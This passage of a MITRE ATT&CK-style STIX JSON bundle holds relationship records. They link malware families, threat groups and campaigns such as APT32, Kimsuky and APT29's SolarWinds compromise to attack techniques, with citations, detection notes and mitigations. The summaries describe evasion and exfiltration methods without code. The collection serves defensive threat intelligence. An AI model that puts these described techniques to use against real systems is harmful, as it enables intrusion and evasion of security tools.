SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db8bb9fc-49b8-49b7-9123-6468176dd1ad","type":"relationship","created":"2020-10-27T18:45:58.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T18:45:58.781Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been delivered by phishing emails containing malicious Microsoft Office documents.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db8f1355-57f0-446d-a261-b168497b20c6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T23:33:40.725Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) copies documents under 15MB found on the victim system to is the user's %temp%\\SMB\\ folder. It also copies files from USB devices to a predefined directory.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Invoke-Obfuscation","description":"Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.","url":"https://github.com/danielbohannon/Invoke-Obfuscation"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"},{"source_name":"Cybereason Oceanlotus May 2017","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt"},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"},{"source_name":"ESET OceanLotus Mar 2019","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"},{"source_name":"ESET OceanLotus macOS April 2019","description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/"},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:01:25.129Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has performed code obfuscation, including encoding payloads using Base64 and using a framework called \"Dont-Kill-My-Cat (DKMC). [APT32](https://attack.mitre.org/groups/G0050) also encrypts the library used for network exfiltration with AES-256 in CBC mode in their macOS backdoor.(Citation: FireEye APT32 May 2017)(Citation: GitHub Invoke-Obfuscation)(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db9253ca-17d2-4ef6-bb17-01fd0951d7b3","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for deletion of Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers.","source_ref":"x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--db937076-3d30-471f-ad39-9565d61b614f","created":"2022-09-21T21:09:01.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:17:49.922Z","description":"A [SUGARDUMP](https://attack.mitre.org/software/S1042) variant used SMTP for C2.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db9384b2-ea34-4dd9-8554-e01b1606e7ce","type":"relationship","created":"2020-05-29T20:32:42.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-05-29T20:32:42.954Z","description":"[Get2](https://attack.mitre.org/software/S0460) has the ability to use HTTP to send information collected from an infected host to C2.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--db95e799-2b1b-48bc-b27e-7c7af554250b","created":"2021-01-04T20:42:22.254Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) uses a custom DoS tool that leverages CVE-2015-5374 and targets hardcoded IP addresses of Siemens SIPROTEC devices.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db963d57-c16f-4a69-92f3-fce8d25ab93d","type":"relationship","created":"2021-02-22T20:22:19.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T20:22:19.964Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can hook the ZwOpenProcess and GetExtendedTcpTable APIs called by the process of a security product to hide PIDs and TCP records from detection.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dba2e83b-a79b-4d4e-8c32-70b7c8f2491f","created":"2023-03-26T19:46:51.032Z","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"},{"source_name":"SolarWinds Sunburst Sunspot Update January 2021","description":"Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.","url":"https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:46:51.032Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) gained initial network access to some victims via a trojanized update of SolarWinds Orion software.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"modified":"2022-02-17T14:33:57.499Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) schedules tasks to invoke its components in order to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-20T16:46:50.618Z","description":"[CallMe](https://attack.mitre.org/software/S0077) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbb28d6a-0007-467a-ae7a-bf09eddd436c","type":"relationship","created":"2020-10-15T16:47:27.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory","description":"Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.","source_name":"Securing bash history"}],"modified":"2022-02-17T13:12:51.789Z","description":"Prevent users from changing the HISTCONTROL, HISTFILE, and HISTFILESIZE environment variables. (Citation: Securing bash history)","relationship_type":"mitigates","source_ref":"course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbbef446-8cc0-43cc-bfae-6fc6d7310e67","created":"2022-03-15T20:02:43.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kimsuky Malwarebytes","description":"Hossein Jazi. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved January 10, 2024.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:42:22.196Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has renamed malware to legitimate names such as ESTCommon.dll or patch.dll.(Citation: Kimsuky Malwarebytes)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbbf9082-6a0c-4572-a2c6-e4503a90203a","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity ","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbc0733e-b673-41fb-8c18-e037f7794a69","created":"2024-08-20T18:28:51.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T15:19:24.702Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used multiple publicly available tools during operations, such as PoshC2.(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbc22e6e-df81-4f17-924e-3ce456ee2f16","created":"2024-03-25T16:48:09.270Z","revoked":false,"external_references":[{"source_name":"AcidRain JAGS 2022","description":"Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.","url":"https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T16:48:09.270Z","description":"[AcidRain](https://attack.mitre.org/software/S1125) identifies specific files and directories in the Linux operating system associated with storage devices.(Citation: AcidRain JAGS 2022)","relationship_type":"uses","source_ref":"malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dbc56199-173e-4325-af52-ee6fd26dbdb6","created":"2022-06-09T19:16:01.483Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can search a compromised host for specific files.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:16:01.483Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dbcbedb9-5527-4ab9-97e7-1ed65571aee9","created":"2021-11-29T20:08:30.986Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) can start and inject code into a new `svchost` process.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-11T17:43:16.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbccbeab-26c9-476e-b529-c193f9796cbc","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}],"modified":"2020-02-11T19:39:04.054Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) exploits CVE-2016-4117 to allow an executable to gain escalated privileges.(Citation: Microsoft SIR Vol 21)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbcd1bb0-24c3-465f-8b38-d4827ce6edf2","type":"relationship","created":"2019-06-24T13:48:13.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T18:51:01.217Z","description":"Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.","relationship_type":"mitigates","source_ref":"course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbcd9d76-b527-472f-8d3f-944cee432479","created":"2023-07-07T19:29:06.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:07:30.587Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) obtained and used multiple tools including the LINpeas privilege escalation utility, aws_consoler, rsocx reverse proxy, Level RMM tool, and RustScan port scanner.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbdf85ca-504d-40f9-9023-ce8acdf99781","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"},{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.617Z","description":"[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dbe09d1f-9826-448d-83e0-5712f575fe76","type":"relationship","created":"2021-08-18T19:49:59.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2021-08-18T19:49:59.554Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has been used to target Arabic-speaking users and used code that checks if the compromised machine has the Arabic language installed.(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dbe1b093-af31-4abd-999e-0e2bf1d0a4d5","created":"2024-07-12T19:28:58.277Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 